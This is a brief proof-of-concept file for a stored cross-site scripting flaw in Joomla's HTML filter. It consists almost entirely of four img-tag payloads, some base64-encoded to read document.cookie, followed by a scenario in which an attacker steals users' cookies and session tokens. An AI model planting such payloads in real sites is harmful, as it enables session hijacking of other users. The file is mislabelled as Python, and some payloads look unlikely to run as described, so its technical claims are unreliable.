The following code is for security research and authorized testing only.
python
<!-- CVE-2025-63082 PoC - Data URL XSS in Joomla Core HTML Filter -->
<!-- Stored XSS via img tag with data URL -->
<!-- Method 1: Direct JavaScript in data URL -->
<img src="data:text/html,<script>alert('XSS')</script>" />
<!-- Method 2: Base64 encoded payload -->
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+" />
<!-- Method 3: Using event handlers with data URL -->
<img src="x" onerror="eval(atob('YWxlcnQoJ1hTUycp'))" />
<!-- Method 4: SVG with script injection via data URL -->
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pjwvc3ZnPg==" />
<!-- Exploitation scenario -->
<!-- 1. Attacker creates/edits content in Joomla with malicious img tag -->
<!-- 2. Content is saved and stored in database -->
<!-- 3. When other users view the page, the data URL is processed -->
<!-- 4. Browser executes the embedded JavaScript code -->
<!-- 5. Attacker's script can steal cookies, session tokens, etc. -->